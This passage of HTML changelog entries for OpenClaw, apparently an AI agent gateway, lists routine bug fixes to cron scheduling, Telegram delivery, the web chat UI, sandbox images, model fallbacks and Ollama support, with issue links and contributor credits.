<li>CLI/plugins: remove managed copied-path plugin directories during uninstall and plan uninstall from metadata instead of runtime-loading plugins, so plugin lifecycle commands avoid unnecessary bundled runtime-deps work. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Cron tool: infer the creating session's agentId for <code>cron.add</code> jobs when <code>agentId</code> is omitted or passed as undefined, keeping scheduled agentTurn jobs routed to the session agent; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043242041" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40571/hovercard" href="https://github.com/openclaw/openclaw/pull/40571">#40571</a> identified the guard bug and supplied the focused regression coverage. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChanningYul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChanningYul">@ChanningYul</a>.</li>
<li>Cron/Telegram: add <code>--thread-id</code> to <code>openclaw cron add</code> and <code>openclaw cron edit</code>, preserving Telegram forum topic delivery targets across scheduled announcements. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4112231006" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51581" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51581/hovercard" href="https://github.com/openclaw/openclaw/pull/51581">#51581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4201006584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60373" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60373/hovercard" href="https://github.com/openclaw/openclaw/pull/60373">#60373</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204997315" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60890/hovercard" href="https://github.com/openclaw/openclaw/pull/60890">#60890</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChunHao-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChunHao-dev">@ChunHao-dev</a>.</li>
<li>Cron/Telegram: preserve session-derived Telegram topic thread IDs when isolated cron delivery explicitly targets the parent chat, keeping bare chat targets in the active forum topic without leaking stale topics to other chats. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243631655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64708/hovercard" href="https://github.com/openclaw/openclaw/pull/64708">#64708</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/addelh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/addelh">@addelh</a>.</li>
<li>Memory/compaction: keep pre-compaction memory-flush prompts runtime-only so session transcripts and <code>chat.history</code> no longer expose them as normal user turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4134199009" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54408" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54408/hovercard" href="https://github.com/openclaw/openclaw/issues/54408">#54408</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185979464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58956/hovercard" href="https://github.com/openclaw/openclaw/issues/58956">#58956</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4061564416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43567" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43567/hovercard" href="https://github.com/openclaw/openclaw/issues/43567">#43567</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markgong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markgong">@markgong</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guoyuhang9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guoyuhang9">@guoyuhang9</a>.</li>
<li>Control UI/WebChat: keep large attachment payloads out of Lit state and optimistic chat messages, using object URL previews plus send-time payload serialization so PDF/image uploads no longer trigger <code>RangeError: Maximum call stack size exceeded</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341266867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73360/hovercard" href="https://github.com/openclaw/openclaw/issues/73360">#73360</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4133779613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54378" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54378/hovercard" href="https://github.com/openclaw/openclaw/issues/54378">#54378</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4228443758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63432" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63432/hovercard" href="https://github.com/openclaw/openclaw/issues/63432">#63432</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejunhui-73/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejunhui-73">@hejunhui-73</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ansub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ansub">@Ansub</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/christianhernandez3-afk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/christianhernandez3-afk">@christianhernandez3-afk</a>.</li>
<li>Agents/Anthropic: cancel stalled Anthropic Messages SSE body reads when abort signals fire, so active-memory timeouts release transport resources instead of leaving hidden recall runs parked on <code>reader.read()</code>. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337826285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72965" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72965/hovercard" href="https://github.com/openclaw/openclaw/issues/72965">#72965</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339750581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73120" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73120/hovercard" href="https://github.com/openclaw/openclaw/pull/73120">#73120</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wdeveloper16/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wdeveloper16">@wdeveloper16</a>.</li>
<li>Control UI/WebChat: keep pending run and typing state attached to the active client run, so unowned inject/announce/side-result finals no longer unlock unrelated active runs while completed owned runs still clear promptly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4171808259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57795" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/57795/hovercard" href="https://github.com/openclaw/openclaw/issues/57795">#57795</a>; carries forward the narrow diagnosis from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4173312913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57887" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57887/hovercard" href="https://github.com/openclaw/openclaw/pull/57887">#57887</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haoyu-haoyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haoyu-haoyu">@haoyu-haoyu</a>.</li>
<li>Sandbox/Docker: stop satisfying a missing default sandbox image by tagging plain Debian as <code>openclaw-sandbox:bookworm-slim</code>, preserving the Python tooling required by sandbox write/edit helpers and directing users to build the default image. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4109522309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51185/hovercard" href="https://github.com/openclaw/openclaw/issues/51185">#51185</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4071029208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45108" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45108/hovercard" href="https://github.com/openclaw/openclaw/issues/45108">#45108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4108362554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51099" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51099/hovercard" href="https://github.com/openclaw/openclaw/issues/51099">#51099</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4112362767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51609/hovercard" href="https://github.com/openclaw/openclaw/issues/51609">#51609</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4170772851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/57713/hovercard" href="https://github.com/openclaw/openclaw/issues/57713">#57713</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dpalis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dpalis">@dpalis</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tin55FoilDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tin55FoilDev">@Tin55FoilDev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbcohen2-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbcohen2-coder">@jbcohen2-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/macminihal-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/macminihal-cyber">@macminihal-cyber</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PraxoOnline/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PraxoOnline">@PraxoOnline</a>.</li>
<li>Control UI/WebChat: confirm toolbar New Session button resets before dispatching <code>/new</code> while leaving typed <code>/new</code> and <code>/reset</code> commands immediate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074850255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45800" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45800/hovercard" href="https://github.com/openclaw/openclaw/issues/45800">#45800</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3992944943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27065" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/27065/hovercard" href="https://github.com/openclaw/openclaw/issues/27065">#27065</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161620254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56611" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56611/hovercard" href="https://github.com/openclaw/openclaw/issues/56611">#56611</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4135743341" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54499" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54499/hovercard" href="https://github.com/openclaw/openclaw/issues/54499">#54499</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3993040551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/27110/hovercard" href="https://github.com/openclaw/openclaw/pull/27110">#27110</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aethnova/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aethnova">@aethnova</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kosta228-huli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kosta228-huli">@kosta228-huli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambezemek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambezemek">@adambezemek</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xss925175263/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xss925175263">@xss925175263</a> (xianshishan).</li>
<li>Agents/models: keep per-agent primary models strict when <code>fallbacks</code> is omitted, so probe-only custom providers are not tried as hidden fallback candidates unless the agent explicitly opts in. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341014684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73332" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73332/hovercard" href="https://github.com/openclaw/openclaw/issues/73332">#73332</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haumanto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haumanto">@haumanto</a>.</li>
<li>Gateway/models: add <code>models.pricing.enabled</code> so offline or restricted-network installs can skip startup OpenRouter and LiteLLM pricing-catalog fetches while keeping explicit model costs working. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4127063527" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53639/hovercard" href="https://github.com/openclaw/openclaw/issues/53639">#53639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/callebtc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/callebtc">@callebtc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/palewire/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/palewire">@palewire</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjdjohnston/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjdjohnston">@rjdjohnston</a>.</li>
<li>Gateway/startup: warn when legacy <code>CLAWDBOT_*</code> or <code>MOLTBOT_*</code> environment variables are still present, pointing users to <code>OPENCLAW_*</code> names instead of failing silently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4125716584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53482" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53482/hovercard" href="https://github.com/openclaw/openclaw/issues/53482">#53482</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4127532557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/53667/hovercard" href="https://github.com/openclaw/openclaw/pull/53667">#53667</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lndyzwdxhs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lndyzwdxhs">@lndyzwdxhs</a>.</li>
<li>Onboarding: pin interactive and non-interactive health checks to the just-configured setup token/password so stale <code>OPENCLAW_GATEWAY_TOKEN</code> or <code>OPENCLAW_GATEWAY_PASSWORD</code> values do not produce false gateway-token-mismatch failures after setup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331051996" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72203" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72203/hovercard" href="https://github.com/openclaw/openclaw/issues/72203">#72203</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Doctor/state: require an interactive confirmation before archiving orphan transcript files, so <code>openclaw doctor --fix</code> no longer silently renames recoverable session history after upgrades regenerate <code>sessions.json</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339670365" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73106" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73106/hovercard" href="https://github.com/openclaw/openclaw/issues/73106">#73106</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scottgl9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scottgl9">@scottgl9</a>.</li>
<li>Cron/Telegram: preserve explicit <code>:topic:</code> delivery targets over stale session-derived thread IDs when isolated cron announces to Telegram forum topics. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187348607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59069/hovercard" href="https://github.com/openclaw/openclaw/pull/59069">#59069</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093910899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49704/hovercard" href="https://github.com/openclaw/openclaw/pull/49704">#49704</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4062796590" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43808" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43808/hovercard" href="https://github.com/openclaw/openclaw/pull/43808">#43808</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roytong9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roytong9">@roytong9</a>.</li>
<li>Build/runtime: write the runtime-postbuild stamp after <code>pnpm build</code> writes the build stamp, so the next CLI invocation does not re-sync runtime artifacts after a successful build. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339964556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73151/hovercard" href="https://github.com/openclaw/openclaw/issues/73151">#73151</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>.</li>
<li>Build/runtime: preserve staged bundled-plugin runtime dependency caches across source-checkout tsdown rebuilds, so local CLI and gateway-watch rebuilds no longer recreate large plugin dependency trees before starting. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340343701" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73205" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73205/hovercard" href="https://github.com/openclaw/openclaw/pull/73205">#73205</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>CLI/channels: list configured chat channel accounts from read-only setup metadata even when the standalone CLI has not loaded the runtime channel registry, so <code>openclaw channels list</code> shows Telegram accounts before auth providers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340934976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73319/hovercard" href="https://github.com/openclaw/openclaw/issues/73319">#73319</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340939351" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73322" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73322/hovercard" href="https://github.com/openclaw/openclaw/issues/73322">#73322</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mlaihk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mlaihk">@mlaihk</a>.</li>
<li>CLI/model probes: keep <code>infer model run --gateway</code> raw by skipping prior session transcript, bootstrap context, context-engine assembly, tools, and bundled MCP servers, so local backends can be tested without full agent-context overhead. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340882752" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73308" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73308/hovercard" href="https://github.com/openclaw/openclaw/issues/73308">#73308</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ScientificProgrammer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ScientificProgrammer">@ScientificProgrammer</a>.</li>
<li>CLI/image describe: pass <code>--prompt</code> and <code>--timeout-ms</code> through <code>infer image describe</code> and <code>describe-many</code>, so custom vision instructions and slow local model budgets reach media-understanding providers such as Ollama, OpenAI, Google, and OpenRouter. Addresses <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231557359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63700" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63700/hovercard" href="https://github.com/openclaw/openclaw/issues/63700">#63700</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cedricjanssens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cedricjanssens">@cedricjanssens</a>.</li>
<li>Providers/Ollama: reject long non-linguistic Kimi/GLM symbol runs as provider failures instead of storing them as successful visible assistant replies, so fallback or error handling can recover from garbled cloud output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4238583929" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64262" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64262/hovercard" href="https://github.com/openclaw/openclaw/issues/64262">#64262</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4266745361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67019" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67019/hovercard" href="https://github.com/openclaw/openclaw/issues/67019">#67019</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kloz813/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kloz813">@Kloz813</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiaomenger123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiaomenger123">@xiaomenger123</a>.</li>
<li>CLI/model probes: reject empty or whitespace-only <code>infer model run --prompt</code> values before calling local providers or the Gateway, so smoke checks do not spend provider calls on invalid turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340232392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73185/hovercard" href="https://github.com/openclaw/openclaw/issues/73185">#73185</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iot2edge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iot2edge">@iot2edge</a>.</li>
<li>Gateway/media: route text-only <code>chat.send</code> image offloads through media-understanding fields so <code>agents.defaults.imageModel</code> can describe WebChat attachments instead of leaving only an opaque <code>media://inbound</code> marker. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337865362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72968/hovercard" href="https://github.com/openclaw/openclaw/issues/72968">#72968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vorajeeah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vorajeeah">@vorajeeah</a>.</li>
<li>Gateway/Windows: route no-listener restart handoffs through the Windows supervisor without leaving restart tokens in flight, so failed task scheduling can be retried and successful handoffs do not coalesce later restart requests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291628266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69056/hovercard" href="https://github.com/openclaw/openclaw/pull/69056">#69056</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Thatgfsj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Thatgfsj">@Thatgfsj</a>.</li>
<li>Gateway/model pricing: skip plugin manifest discovery during background pricing refreshes when <code>plugins.enabled: false</code>, so disabled-plugin setups do not keep rebuilding plugin metadata from the Gateway hot path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340746488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73291" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73291/hovercard" href="https://github.com/openclaw/openclaw/issues/73291">#73291</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slideshow-dingo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slideshow-dingo">@slideshow-dingo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fishgills/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fishgills">@fishgills</a>.</li>
<li>Ollama/thinking: validate <code>/think</code> commands against live Ollama catalog reasoning metadata and preserve explicit native <code>params.think</code>/<code>params.thinking</code>, so models whose <code>/api/show</code> capabilities include <code>thinking</code> expose <code>low</code>, <code>medium</code>, <code>high</code>, and <code>max</code> instead of being stuck on <code>off</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341296549" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73366" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73366/hovercard" href="https://github.com/openclaw/openclaw/issues/73366">#73366</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cymise/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cymise">@cymise</a>.</li>
<li>Gateway/sessions: remove automatic oversized <code>sessions.json</code> rotation backups, deprecate <code>session.maintenance.rotateBytes</code>, and teach <code>openclaw doctor --fix</code> to remove the ignored key so hot session writes no longer copy multi-MB stores. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/midhunmonachan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/midhunmonachan">@midhunmonachan</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Channels/Telegram: fail fast when Telegram rejects the startup <code>getMe</code> token probe with 401, so invalid or stale BotFather tokens are reported as token auth failures instead of misleading <code>deleteWebhook</code> cleanup failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4079390685" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47674" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47674/hovercard" href="https://github.com/openclaw/openclaw/issues/47674">#47674</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samaedan-arch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samaedan-arch">@samaedan-arch</a>.</li>
